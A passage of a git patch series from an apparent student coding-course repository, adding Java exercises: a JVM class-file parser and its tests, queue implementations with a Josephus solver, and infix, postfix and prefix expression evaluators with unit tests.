+		// 注意：这个字节数可能和你的JVM版本有关系， 你可以看看编译好的类到底有多大
+		Assert.assertEquals(1040, byteCodes.length);
+
+	}
+
+	@Test
+	public void testMagicNumber() {
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		String className = "week08.jvm.test.EmployeeV1";
+		byte[] byteCodes = loader.readBinaryCode(className);
+		byte[] codes = new byte[] { byteCodes[0], byteCodes[1], byteCodes[2], byteCodes[3] };
+
+		String acctualValue = this.byteToHexString(codes);
+
+		Assert.assertEquals("cafebabe", acctualValue);
+	}
+
+	private String byteToHexString(byte[] codes) {
+		StringBuffer buffer = new StringBuffer();
+		for (int i = 0; i < codes.length; i++) {
+			byte b = codes[i];
+			int value = b & 0xFF;
+			String strHex = Integer.toHexString(value);
+			if (strHex.length() < 2) {
+				strHex = "0" + strHex;
+			}
+			buffer.append(strHex);
+		}
+		return buffer.toString();
+	}
+
+	/**
+	 * ----------------------------------------------------------------------
+	 */
+
+	@Test
+	public void testVersion() {
+
+		Assert.assertEquals(0, clzFile.getMinorVersion());
+		Assert.assertEquals(52, clzFile.getMajorVersion());
+
+	}
+
+	@Test
+	public void testConstantPool() {
+
+		ConstantPool pool = clzFile.getConstantPool();
+
+		Assert.assertEquals(53, pool.getSize());
+
+		{
+			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(1);
+			Assert.assertEquals(2, clzInfo.getUtf8Index());
+
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(2);
+			Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, utf8Info.getValue());
+		}
+		{
+			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(3);
+			Assert.assertEquals(4, clzInfo.getUtf8Index());
+
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(4);
+			Assert.assertEquals("java/lang/Object", utf8Info.getValue());
+		}
+		{
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(5);
+			Assert.assertEquals("name", utf8Info.getValue());
+
+			utf8Info = (UTF8Info) pool.getConstantInfo(6);
+			Assert.assertEquals("Ljava/lang/String;", utf8Info.getValue());
+
+			utf8Info = (UTF8Info) pool.getConstantInfo(7);
+			Assert.assertEquals("age", utf8Info.getValue());
+
+			utf8Info = (UTF8Info) pool.getConstantInfo(8);
+			Assert.assertEquals("I", utf8Info.getValue());
+
+			utf8Info = (UTF8Info) pool.getConstantInfo(9);
+			Assert.assertEquals("<init>", utf8Info.getValue());
+
+			utf8Info = (UTF8Info) pool.getConstantInfo(10);
+			Assert.assertEquals("(Ljava/lang/String;I)V", utf8Info.getValue());
+
+			utf8Info = (UTF8Info) pool.getConstantInfo(11);
+			Assert.assertEquals("Code", utf8Info.getValue());
+		}
+
+		{
+			MethodRefInfo methodRef = (MethodRefInfo) pool.getConstantInfo(12);
+			Assert.assertEquals(3, methodRef.getClassInfoIndex());
+			Assert.assertEquals(13, methodRef.getNameAndTypeIndex());
+		}
+
+		{
+			NameAndTypeInfo nameAndType = (NameAndTypeInfo) pool.getConstantInfo(13);
+			Assert.assertEquals(9, nameAndType.getIndex1());
+			Assert.assertEquals(14, nameAndType.getIndex2());
+		}
+		// 抽查几个吧
+		{
+			MethodRefInfo methodRef = (MethodRefInfo) pool.getConstantInfo(45);
+			Assert.assertEquals(1, methodRef.getClassInfoIndex());
+			Assert.assertEquals(46, methodRef.getNameAndTypeIndex());
+		}
+
+		{
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(53);
+			Assert.assertEquals("EmployeeV1.java", utf8Info.getValue());
+		}
+	}
+
+	@Test
+	public void testClassIndex() {
+
+		ClassIndex clzIndex = clzFile.getClzIndex();
+		ClassInfo thisClassInfo = (ClassInfo) clzFile.getConstantPool().getConstantInfo(clzIndex.getThisClassIndex());
+		ClassInfo superClassInfo = (ClassInfo) clzFile.getConstantPool().getConstantInfo(clzIndex.getSuperClassIndex());
+
+		Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, thisClassInfo.getClassName());
+		Assert.assertEquals("java/lang/Object", superClassInfo.getClassName());
+	}
+
+	/**
+	 * 下面是第三次JVM课应实现的测试用例
+	 */
+	@Test
+	public void testReadFields() {
+
+		List<Field> fields = clzFile.getFields();
+		Assert.assertEquals(2, fields.size());
+		{
+			Field f = fields.get(0);
+			Assert.assertEquals("name:Ljava/lang/String;", f.toString());
+		}
+		{
+			Field f = fields.get(1);
+			Assert.assertEquals("age:I", f.toString());
+		}
+	}
+
+	@Test
+	public void testMethods() {
+
+		List<Method> methods = clzFile.getMethods();
+		ConstantPool pool = clzFile.getConstantPool();
+
+		{
+			Method m = methods.get(0);
+			assertMethodEquals(pool, m, "<init>", "(Ljava/lang/String;I)V", "2ab7000c2a2bb5000f2a1cb50011b1");
+
+		}
+		{
+			Method m = methods.get(1);
+			assertMethodEquals(pool, m, "setName", "(Ljava/lang/String;)V", "2a2bb5000fb1");
+
+		}
+		{
+			Method m = methods.get(2);
+			assertMethodEquals(pool, m, "setAge", "(I)V", "2a1bb50011b1");
+		}
+		{
+			Method m = methods.get(3);
+			assertMethodEquals(pool, m, "sayHello", "()V", "b2001c1222b60024b1");
+
+		}
+		{
+			Method m = methods.get(4);
+			assertMethodEquals(pool, m, "main", "([Ljava/lang/String;)V", "bb000159122b101db7002d4c2bb6002fb1");
+		}
+	}
+
+	private void assertMethodEquals(ConstantPool pool, Method m, String expectedName, String expectedDesc,
+			String expectedCode) {
+		String methodName = pool.getUTF8String(m.getNameIndex());
+		String methodDesc = pool.getUTF8String(m.getDescriptorIndex());
+		String code = m.getCodeAttr().getCode();
+		Assert.assertEquals(expectedName, methodName);
+		Assert.assertEquals(expectedDesc, methodDesc);
+		Assert.assertEquals(expectedCode, code);
+	}
+
+	@Test
+	public void testByteCodeCommand() {
+		{
+			Method initMethod = this.clzFile.getMethod("<init>", "(Ljava/lang/String;I)V");
+			ByteCodeCommand[] cmds = initMethod.getCmds();
+
+			assertOpCodeEquals("0: aload_0", cmds[0]);
+			assertOpCodeEquals("1: invokespecial #12", cmds[1]);
+			assertOpCodeEquals("4: aload_0", cmds[2]);
+			assertOpCodeEquals("5: aload_1", cmds[3]);
+			assertOpCodeEquals("6: putfield #15", cmds[4]);
+			assertOpCodeEquals("9: aload_0", cmds[5]);
+			assertOpCodeEquals("10: iload_2", cmds[6]);
+			assertOpCodeEquals("11: putfield #17", cmds[7]);
+			assertOpCodeEquals("14: return", cmds[8]);
+		}
+
+		{
+			Method setNameMethod = this.clzFile.getMethod("setName", "(Ljava/lang/String;)V");
+			ByteCodeCommand[] cmds = setNameMethod.getCmds();
+
+			assertOpCodeEquals("0: aload_0", cmds[0]);
+			assertOpCodeEquals("1: aload_1", cmds[1]);
+			assertOpCodeEquals("2: putfield #15", cmds[2]);
+			assertOpCodeEquals("5: return", cmds[3]);
+
+		}
+
+		{
+			Method sayHelloMethod = this.clzFile.getMethod("sayHello", "()V");
+			ByteCodeCommand[] cmds = sayHelloMethod.getCmds();
+
+			assertOpCodeEquals("0: getstatic #28", cmds[0]);
+			assertOpCodeEquals("3: ldc #34", cmds[1]);
+			assertOpCodeEquals("5: invokevirtual #36", cmds[2]);
+			assertOpCodeEquals("8: return", cmds[3]);
+
+		}
+
+		{
+			Method mainMethod = this.clzFile.getMainMethod();
+
+			ByteCodeCommand[] cmds = mainMethod.getCmds();
+
+			assertOpCodeEquals("0: new #1", cmds[0]);
+			assertOpCodeEquals("3: dup", cmds[1]);
+			assertOpCodeEquals("4: ldc #43", cmds[2]);
+			assertOpCodeEquals("6: bipush 29", cmds[3]);
+			assertOpCodeEquals("8: invokespecial #45", cmds[4]);
+			assertOpCodeEquals("11: astore_1", cmds[5]);
+			assertOpCodeEquals("12: aload_1", cmds[6]);
+			assertOpCodeEquals("13: invokevirtual #47", cmds[7]);
+			assertOpCodeEquals("16: return", cmds[8]);
+		}
+
+	}
+
+	private void assertOpCodeEquals(String expected, ByteCodeCommand cmd) {
+
+		String acctual = cmd.getOffset() + ": " + cmd.getReadableCodeText();
+
+		if (cmd instanceof OneOperandCmd) {
+			if (cmd instanceof BiPushCmd) {
+				acctual += " " + ((OneOperandCmd) cmd).getOperand();
+			} else {
+				acctual += " #" + ((OneOperandCmd) cmd).getOperand();
+			}
+		}
+		if (cmd instanceof TwoOperandCmd) {
+			acctual += " #" + ((TwoOperandCmd) cmd).getIndex();
+		}
+		Assert.assertEquals(expected, acctual);
+	}
+
+}
diff --git a/group01/1814014897/zhouhui/src/week08/jvm/test/EmployeeV1.java b/group01/1814014897/zhouhui/src/week08/jvm/test/EmployeeV1.java
new file mode 100644
index 0000000000..a761ff5149
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week08/jvm/test/EmployeeV1.java
@@ -0,0 +1,28 @@
+package week08.jvm.test;
+
+public class EmployeeV1 {
+	
+	
+	private String name;
+    private int age;
+    
+    public EmployeeV1(String name, int age) {
+        this.name = name;
+        this.age = age;        
+    }    
+
+    public void setName(String name) {
+        this.name = name;
+    }
+    public void setAge(int age){
+    	this.age = age;
+    }
+    public void sayHello() {        
+    	System.out.println("Hello , this is class Employee ");    	
+    }
+    public static void main(String[] args){
+    	EmployeeV1 p = new EmployeeV1("Andy",29);
+    	p.sayHello();    
+    	
+    }
+}
\ No newline at end of file
diff --git a/group01/1814014897/zhouhui/src/week08/jvm/test/MiniJVMTest.java b/group01/1814014897/zhouhui/src/week08/jvm/test/MiniJVMTest.java
new file mode 100644
index 0000000000..024b51bf58
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week08/jvm/test/MiniJVMTest.java
@@ -0,0 +1,28 @@
+package week08.jvm.test;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+import week08.jvm.engine.MiniJVM;
+
+public class MiniJVMTest {
+	
+	static final String PATH = ("" + ClassLoader.getSystemResource("")).replaceAll("file:/", "");
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testMain() throws Exception{
+		String[] classPaths = {PATH};
+		MiniJVM jvm = new MiniJVM();
+		jvm.run(classPaths, "week08.jvm.test.EmployeeV1");
+		
+	}
+
+}
diff --git a/group01/1814014897/zhouhui/src/week08/jvm/util/Util.java b/group01/1814014897/zhouhui/src/week08/jvm/util/Util.java
new file mode 100644
index 0000000000..f4e4afa384
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week08/jvm/util/Util.java
@@ -0,0 +1,24 @@
+package week08.jvm.util;
+
+public class Util {
+	public static int byteToInt(byte[] codes){
+    	String s1 = byteToHexString(codes);
+    	return Integer.valueOf(s1, 16).intValue();
+    }
+    
+    
+    
+	public static String byteToHexString(byte[] codes ){
+		StringBuffer buffer = new StringBuffer();
+		for(int i=0;i<codes.length;i++){
+			byte b = codes[i];
+			int value = b & 0xFF;
+			String strHex = Integer.toHexString(value);
+			if(strHex.length()< 2){
+				strHex = "0" + strHex;
+			}		
+			buffer.append(strHex);
+		}
+		return buffer.toString();
+	}
+}
diff --git a/group01/1814014897/zhouhui/src/week08/queue/CircleQueue.java b/group01/1814014897/zhouhui/src/week08/queue/CircleQueue.java
new file mode 100644
index 0000000000..e43cacec05
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week08/queue/CircleQueue.java
@@ -0,0 +1,50 @@
+package week08.queue;
+
+/**
+ * 用数组实现循环队列
+ * 
+ * @author Hui Zhou
+ *
+ * @param <E>
+ */
+public class CircleQueue<E> {
+
+	private final static int DEFAULT_SIZE = 10;
+
+	// 用数组来保存循环队列的元素
+	private Object[] elementData = new Object[DEFAULT_SIZE];
+
+	// 队头
+	private int front = 0;
+	// 队尾
+	private int rear = 0;
+
+	public boolean isEmpty() {
+		return front == rear && elementData[front] == null;
+	}
+
+	public int size() {
+		if (isEmpty()) {
+			return 0;
+		}
+		return rear > front ? rear - front : DEFAULT_SIZE - (rear - front);
+	}
+
+	public void enQueue(E data) {
+		if (this.size() >= DEFAULT_SIZE) {
+			throw new RuntimeException("the queue is full.");
+		}
+		elementData[rear] = data;
+		rear = (rear + 1) % DEFAULT_SIZE;
+	}
+
+	public E deQueue() {
+		if (isEmpty()) {
+			throw new RuntimeException("this queue if empty.");
+		}
+		Object data = elementData[front];
+		elementData[front] = null;
+		front = (front + 1) % DEFAULT_SIZE;
+		return (E) data;
+	}
+}
diff --git a/group01/1814014897/zhouhui/src/week08/queue/Josephus.java b/group01/1814014897/zhouhui/src/week08/queue/Josephus.java
new file mode 100644
index 0000000000..b03c99423b
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week08/queue/Josephus.java
@@ -0,0 +1,32 @@
+package week08.queue;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * 用Queue来实现Josephus问题 在这个古老的问题当中， N个深陷绝境的人一致同意用这种方式减少生存人数： N个人围成一圈（位置记为0到N-1），
+ * 并且从第一个人报数， 报到M的人会被杀死， 直到最后一个人留下来 该方法返回一个List， 包含了被杀死人的次序
+ * 
+ * @author liuxin
+ *
+ */
+public class Josephus {
+
+	public static List<Integer> execute(int n, int m) {
+		List<Integer> killOrder = new ArrayList<Integer>();
+		Queue<Integer> queue = new Queue<Integer>();
+		for (int i = 0; i < n; i++) {
+			queue.enQueue(i);
+		}
+
+		while (!queue.isEmpty()) {
+			for (int i = 0; i < m - 1; i++) {
+				queue.enQueue(queue.deQueue());
+			}
+			killOrder.add(queue.deQueue());
+		}
+
+		return killOrder;
+	}
+
+}
diff --git a/group01/1814014897/zhouhui/src/week08/queue/Queue.java b/group01/1814014897/zhouhui/src/week08/queue/Queue.java
new file mode 100644
index 0000000000..debeab313e
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week08/queue/Queue.java
@@ -0,0 +1,61 @@
+package week08.queue;
+
+import java.util.NoSuchElementException;
+
+public class Queue<E> {
+    private Node<E> first;    
+    private Node<E> last;     
+    private int size;               
+
+    
+    private static class Node<E> {
+        private E item;
+        private Node<E> next;
+    }
+
+    
+    public Queue() {
+        first = null;
+        last  = null;
+        size = 0;
+    }
+
+    
+    public boolean isEmpty() {
+        return first == null;
+    }
+
+    public int size() {
+        return size;
+    }
+
+    
+
+    public void enQueue(E data) {
+        Node<E> oldlast = last;
+        last = new Node<E>();
+        last.item = data;
+        last.next = null;
+        if (isEmpty()) {
+        	first = last;
+        }
+        else{
+        	oldlast.next = last;
+        }
+        size++;
+    }
+
+    public E deQueue() {
+        if (isEmpty()) {
+        	throw new NoSuchElementException("Queue underflow");
+        }
+        E item = first.item;
+        first = first.next;
+        size--;
+        if (isEmpty()) {
+        	last = null;  
+        }
+        return item;
+    }
+
+}
diff --git a/group01/1814014897/zhouhui/src/week08/queue/QueueWithTwoStacks.java b/group01/1814014897/zhouhui/src/week08/queue/QueueWithTwoStacks.java
new file mode 100644
index 0000000000..35a3492b27
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week08/queue/QueueWithTwoStacks.java
@@ -0,0 +1,46 @@
+package week08.queue;
+
+import java.util.Stack;
+
+/**
+ * 用两个栈来实现一个队列
+ * 
+ * @author Hui Zhou
+ *
+ * @param <E>
+ */
+public class QueueWithTwoStacks<E> {
+	private Stack<E> stack1;
+	private Stack<E> stack2;
+
+	public QueueWithTwoStacks() {
+		stack1 = new Stack<E>();
+		stack2 = new Stack<E>();
+	}
+
+	public boolean isEmpty() {
+		return stack1.isEmpty();
+	}
+
+	public int size() {
+		return stack1.size();
+	}
+
+	public void enQueue(E item) {
+		stack1.push(item);
+	}
+
+	public E deQueue() {
+		int stack1Size = stack1.size();
+		for (int i = 0; i < stack1Size; i++) {
+			stack2.push(stack1.pop());
+		}
+		E deQueue = stack2.pop();
+		int stack2Size = stack2.size();
+		for (int i = 0; i < stack2Size; i++) {
+			stack1.push(stack2.pop());
+		}
+		return deQueue;
+	}
+
+}
diff --git a/group01/1814014897/zhouhui/src/week08/queue/test/CircleQueueTest.java b/group01/1814014897/zhouhui/src/week08/queue/test/CircleQueueTest.java
new file mode 100644
index 0000000000..c8608097a8
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week08/queue/test/CircleQueueTest.java
@@ -0,0 +1,43 @@
+package week08.queue.test;
+
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import week08.queue.CircleQueue;
+
+public class CircleQueueTest {
+	
+	CircleQueue<Integer> cq = new CircleQueue<Integer>();
+
+	@Test
+	public void testenQueue() {
+		Assert.assertTrue(cq.isEmpty());
+		Assert.assertEquals(0, cq.size());
+		for (int i = 0; i < 10; i++) {
+			cq.enQueue(i);
+		}
+		Assert.assertFalse(cq.isEmpty());
+		Assert.assertEquals(10, cq.size());
+		for (int i = 0; i < 10; i++) {
+			Assert.assertEquals(i, cq.deQueue().intValue());
+		}
+		Assert.assertTrue(cq.isEmpty());
+		Assert.assertEquals(0, cq.size());
+	}
+
+	@Test
+	public void testdeQueue() {
+		for (int i = 0; i < 10; i++) {
+			cq.enQueue(i);
+		}
+		Assert.assertFalse(cq.isEmpty());
+		Assert.assertEquals(10, cq.size());
+		for (int i = 0; i < 10; i++) {
+			Assert.assertEquals(i, cq.deQueue().intValue());
+		}
+		Assert.assertTrue(cq.isEmpty());
+		Assert.assertEquals(0, cq.size());
+	}
+
+}
diff --git a/group01/1814014897/zhouhui/src/week08/queue/test/JosephusTest.java b/group01/1814014897/zhouhui/src/week08/queue/test/JosephusTest.java
new file mode 100644
index 0000000000..8fab3cc72a
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week08/queue/test/JosephusTest.java
@@ -0,0 +1,29 @@
+package week08.queue.test;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import week08.queue.Josephus;
+
+
+
+public class JosephusTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testExecute() {
+		
+		Assert.assertEquals("[1, 3, 5, 0, 4, 2, 6]", Josephus.execute(7, 2).toString());
+		
+	}
+
+}
diff --git a/group01/1814014897/zhouhui/src/week08/queue/test/QueueTest.java b/group01/1814014897/zhouhui/src/week08/queue/test/QueueTest.java
new file mode 100644
index 0000000000..70bfdf727a
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week08/queue/test/QueueTest.java
@@ -0,0 +1,46 @@
+package week08.queue.test;
+
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import week08.queue.Queue;
+
+public class QueueTest {
+
+	Queue<Integer> queue = new Queue<Integer>();
+
+	@Before
+	public void setUp() throws Exception {
+		for (int i = 0; i < 100; i++) {
+			queue.enQueue(i);
+		}
+	}
+
+	@Test
+	public void testEnQueue() {
+		Assert.assertFalse(queue.isEmpty());
+		Assert.assertEquals(100, queue.size());
+		for (int i = 100; i < 200; i++) {
+			queue.enQueue(i);
+		}
+		Assert.assertEquals(200, queue.size());
+		for (int i = 0; i < 200; i++) {
+			Assert.assertEquals(i, queue.deQueue().intValue());
+		}
+		Assert.assertTrue(queue.isEmpty());
+		Assert.assertEquals(0, queue.size());
+	}
+
+	@Test
+	public void testDeQueue() {
+		Assert.assertFalse(queue.isEmpty());
+		Assert.assertEquals(100, queue.size());
+		for (int i = 0; i < 100; i++) {
+			Assert.assertEquals(i, queue.deQueue().intValue());
+		}
+		Assert.assertTrue(queue.isEmpty());
+		Assert.assertEquals(0, queue.size());
+	}
+
+}
diff --git a/group01/1814014897/zhouhui/src/week08/queue/test/QueueWithTwoStacksTest.java b/group01/1814014897/zhouhui/src/week08/queue/test/QueueWithTwoStacksTest.java
new file mode 100644
index 0000000000..d47acfca59
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week08/queue/test/QueueWithTwoStacksTest.java
@@ -0,0 +1,46 @@
+package week08.queue.test;
+
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import week08.queue.QueueWithTwoStacks;
+
+public class QueueWithTwoStacksTest {
+
+	QueueWithTwoStacks<Integer> qwts = new QueueWithTwoStacks<Integer>();
+	
+	@Before
+	public void setUp() throws Exception {
+		for (int i = 0; i < 100; i++) {
+			qwts.enQueue(i);
+		}
+	}
+
+	@Test
+	public void testEnQueue() {
+		Assert.assertFalse(qwts.isEmpty());
+		Assert.assertEquals(100, qwts.size());
+		for (int i = 100; i < 200; i++) {
+			qwts.enQueue(i);
+		}
+		Assert.assertEquals(200, qwts.size());
+		for (int i = 0; i < 200; i++) {
+			Assert.assertEquals(i, qwts.deQueue().intValue());
+		}
+		Assert.assertTrue(qwts.isEmpty());
+		Assert.assertEquals(0, qwts.size());
+	}
+
+	@Test
+	public void testDeQueue() {
+		Assert.assertFalse(qwts.isEmpty());
+		Assert.assertEquals(100, qwts.size());
+		for (int i = 0; i < 100; i++) {
+			Assert.assertEquals(i, qwts.deQueue().intValue());
+		}
+		Assert.assertTrue(qwts.isEmpty());
+		Assert.assertEquals(0, qwts.size());
+	}
+
+}

From 23c135980d80f6279257ba646a8c87e587d39c30 Mon Sep 17 00:00:00 2001
From: Jiandan1357 <s20160705@xs.ustb.edu.cn>
Date: Sat, 6 May 2017 07:52:50 +0800
Subject: [PATCH 195/262] 7weekExpr2

7weekExpr2
---
 group23/601689050/7weekExpr2/InfixExpr.java   | 61 +++++++++++++++++++
 .../601689050/7weekExpr2/InfixToPostfix.java  | 35 +++++++++++
 group23/601689050/7weekExpr2/PostfixExpr.java | 45 ++++++++++++++
 .../601689050/7weekExpr2/PostfixExprTest.java | 37 +++++++++++
 group23/601689050/7weekExpr2/PrefixExpr.java  | 51 ++++++++++++++++
 .../601689050/7weekExpr2/PrefixExprTest.java  | 42 +++++++++++++
 group23/601689050/7weekExpr2/Stack.java       | 50 +++++++++++++++
 group23/601689050/7weekExpr2/Token.java       | 49 +++++++++++++++
 group23/601689050/7weekExpr2/TokenParser.java | 47 ++++++++++++++
 9 files changed, 417 insertions(+)
 create mode 100644 group23/601689050/7weekExpr2/InfixExpr.java
 create mode 100644 group23/601689050/7weekExpr2/InfixToPostfix.java
 create mode 100644 group23/601689050/7weekExpr2/PostfixExpr.java
 create mode 100644 group23/601689050/7weekExpr2/PostfixExprTest.java
 create mode 100644 group23/601689050/7weekExpr2/PrefixExpr.java
 create mode 100644 group23/601689050/7weekExpr2/PrefixExprTest.java
 create mode 100644 group23/601689050/7weekExpr2/Stack.java
 create mode 100644 group23/601689050/7weekExpr2/Token.java
 create mode 100644 group23/601689050/7weekExpr2/TokenParser.java

diff --git a/group23/601689050/7weekExpr2/InfixExpr.java b/group23/601689050/7weekExpr2/InfixExpr.java
new file mode 100644
index 0000000000..77c310465e
--- /dev/null
+++ b/group23/601689050/7weekExpr2/InfixExpr.java
@@ -0,0 +1,61 @@
+import java.util.List;
+import java.util.Stack;
+
+/**
+ * Created by Lxx on 2017/4/29.
+ */
+public class InfixExpr {
+    String expr = null;
+    public InfixExpr(String expr){
+        this.expr = expr;
+    }
+    public float evaluate(){
+        TokenParser parser = new TokenParser();
+        List<Token> tokens = parser.parse(this.expr);
+        Stack<Token> opStack = new Stack<>();
+        Stack<Float> numStack = new Stack();
+        for(Token token : tokens){
+            if(token.isOperator()){
+                if(opStack.isEmpty()){
+                    opStack.push(token);
+                }else {
+                    while(!opStack.isEmpty() && !token.hasHigherPriority(opStack.peek())){
+                        Token prevOperator = opStack.pop();
+                        Float f2 = numStack.pop();
+                        Float f1 = numStack.pop();
+                        Float result = calculate(prevOperator.toString(),f1,f2);
+                        numStack.push(result);
+                    }
+                    opStack.push(token);
+                }
+            }
+            if(token.isNumber()){
+                numStack.push(new Float(token.getIntValue()));
+            }
+        }
+        while (!opStack.isEmpty()){
+            Token token = opStack.pop();
+            Float f2 = numStack.pop();
+            Float f1 = numStack.pop();
+            numStack.push(calculate(token.toString(),f1,f2));
+        }
+        return numStack.pop().floatValue();
+
+    }
+
+    private Float calculate(String op, float f1, float f2) {
+        if(op.equals("+")){
+            return f1 + f2;
+        }
+        if(op.equals("-")){
+            return f1 - f2;
+        }
+        if(op.equals("*")){
+            return f1 * f2;
+        }
+        if(op.equals("/")){
+            return f1 / f2;
+        }
+        return null;
+    }
+}
diff --git a/group23/601689050/7weekExpr2/InfixToPostfix.java b/group23/601689050/7weekExpr2/InfixToPostfix.java
new file mode 100644
index 0000000000..7833ebf8f7
--- /dev/null
+++ b/group23/601689050/7weekExpr2/InfixToPostfix.java
@@ -0,0 +1,35 @@
+import java.util.*;
+import java.util.Stack;
+
+/**
+ * Created by Lxx on 2017/4/29.
+ */
+public class InfixToPostfix {
+
+    String expr = null;
+    public InfixToPostfix(String expr){
+        this.expr = expr;
+    }
+    TokenParser parser = new TokenParser();
+    List<Token> tokens = parser.parse(this.expr);
+    Stack<Token> opStack = new Stack<>();
+    Stack<String> allStack = new Stack<>();
+    public Stack change(){
+        for(Token token : tokens){
+            if(token.isOperator()){
+                if(opStack.isEmpty()){
+                    opStack.push(token);
+                }else{
+                    while(!opStack.isEmpty() && !token.hasHigherPriority(opStack.peek())){
+                        Token preOperator = opStack.pop();
+                        allStack.push(preOperator.toString());
+                    }
+                }
+            }
+            if (token.isNumber()){
+                allStack.push(token.toString());
+            }
+        }
+        return allStack;
+    }
+}
diff --git a/group23/601689050/7weekExpr2/PostfixExpr.java b/group23/601689050/7weekExpr2/PostfixExpr.java
new file mode 100644
index 0000000000..5c128db330
--- /dev/null
+++ b/group23/601689050/7weekExpr2/PostfixExpr.java
@@ -0,0 +1,45 @@
+import java.util.*;
+import java.util.Stack;
+
+/**
+ * Created by Lxx on 2017/4/29.
+ */
+public class PostfixExpr {
+    String expr = null;
+
+    public PostfixExpr(String expr) {
+        this.expr = expr;
+    }
+
+    public float evaluate() {
+        TokenParser parser = new TokenParser();
+        List<Token> tokens = parser.parse(this.expr);
+        Stack<Float> numStack = new Stack<>();
+        for(Token token : tokens){
+            if(token.isNumber()){
+                numStack.push(new Float(token.getIntValue()));
+            }
+            if(token.isOperator()){
+                Float f2 = numStack.pop();
+                Float f1 = numStack.pop();
+                numStack.push(calculate(token.toString(),f1,f2));
+            }
+        }
+        return numStack.pop().floatValue();
+    }
+    private Float calculate(String op, float f1, float f2){
+        if(op.equals("+")){
+            return f1 + f2;
+        }
+        if(op.equals("-")){
+            return f1 - f2;
+        }
+        if(op.equals("*")){
+            return f1 * f2;
+        }
+        if (op.equals("/")){
+            return f1 / f2;
+        }
+        return null;
+    }
+}
diff --git a/group23/601689050/7weekExpr2/PostfixExprTest.java b/group23/601689050/7weekExpr2/PostfixExprTest.java
new file mode 100644
index 0000000000..bad5b82bec
--- /dev/null
+++ b/group23/601689050/7weekExpr2/PostfixExprTest.java
@@ -0,0 +1,37 @@
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+/**
+ * Created by Lxx on 2017/4/29.
+ */
+public class PostfixExprTest {
+
+    @Before
+    public void setUp() throws Exception {
+    }
+
+    @After
+    public void tearDown() throws Exception {
+    }
+
+    @Test
+    public void testEvaluate() {
+        {
+            PostfixExpr expr = new PostfixExpr("6 5 2 3 + 8 * + 3 + *");
+            Assert.assertEquals(288, expr.evaluate(),0.0f);
+        }
+        {
+            //9+(3-1)*3+10/2
+            PostfixExpr expr = new PostfixExpr("9 3 1-3*+ 10 2/+");
+            Assert.assertEquals(20, expr.evaluate(),0.0f);
+        }
+
+        {
+            //10-2*3+50
+            PostfixExpr expr = new PostfixExpr("10 2 3 * - 50 +");
+            Assert.assertEquals(54, expr.evaluate(),0.0f);
+        }
+    }
+}
diff --git a/group23/601689050/7weekExpr2/PrefixExpr.java b/group23/601689050/7weekExpr2/PrefixExpr.java
new file mode 100644
index 0000000000..77652af742
--- /dev/null
+++ b/group23/601689050/7weekExpr2/PrefixExpr.java
@@ -0,0 +1,51 @@
+import java.util.*;
+import java.util.Stack;
+
+/**
+ * Created by Lxx on 2017/4/29.
+ */
+public class PrefixExpr {
+    String expr = null;
+
+    public PrefixExpr(String expr) {
+        this.expr = expr;
+    }
+
+    public float evaluate() {
+        TokenParser parser = new TokenParser();
+        List<Token> tokens = parser.parse(this.expr);
+        Stack<Float> numStack = new Stack<>();
+        Stack<Token> allStack = new Stack<>();
+        for (Token token : tokens) {
+            allStack.push(token);
+        }
+        while (!allStack.isEmpty()) {
+            if (allStack.peek().isNumber()) {
+                numStack.push(new Float(allStack.pop().getIntValue()));
+            }
+            if (allStack.peek().isOperator()) {
+                Token token = allStack.pop();
+                Float f1 = numStack.pop();
+                Float f2 = numStack.pop();
+                numStack.push(calculate(token.toString(), f1, f2));
+            }
+        }
+        return numStack.pop().floatValue();
+    }
+
+    private Float calculate(String op, float f1, float f2){
+        if(op.equals("+")){
+            return f1 + f2;
+        }
+        if(op.equals("-")){
+            return f1 - f2;
+        }
+        if(op.equals("*")){
+            return f1 * f2;
+        }
+        if (op.equals("/")){
+            return f1 / f2;
+        }
+        return null;
+    }
+}
diff --git a/group23/601689050/7weekExpr2/PrefixExprTest.java b/group23/601689050/7weekExpr2/PrefixExprTest.java
new file mode 100644
index 0000000000..8d1074d5d3
--- /dev/null
+++ b/group23/601689050/7weekExpr2/PrefixExprTest.java
@@ -0,0 +1,42 @@
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+/**
+ * Created by Lxx on 2017/4/29.
+ */
+public class PrefixExprTest {
+    @Before
+    public void setUp() throws Exception {
+    }
+
+    @After
+    public void tearDown() throws Exception {
+    }
+
+    @Test
+    public void testEvaluate() {
+        {
+            // 2*3+4*5
+            PrefixExpr expr = new PrefixExpr("+ * 2 3* 4 5");
+            Assert.assertEquals(26, expr.evaluate(),0.001f);
+        }
+        {
+            // 4*2 + 6+9*2/3 -8
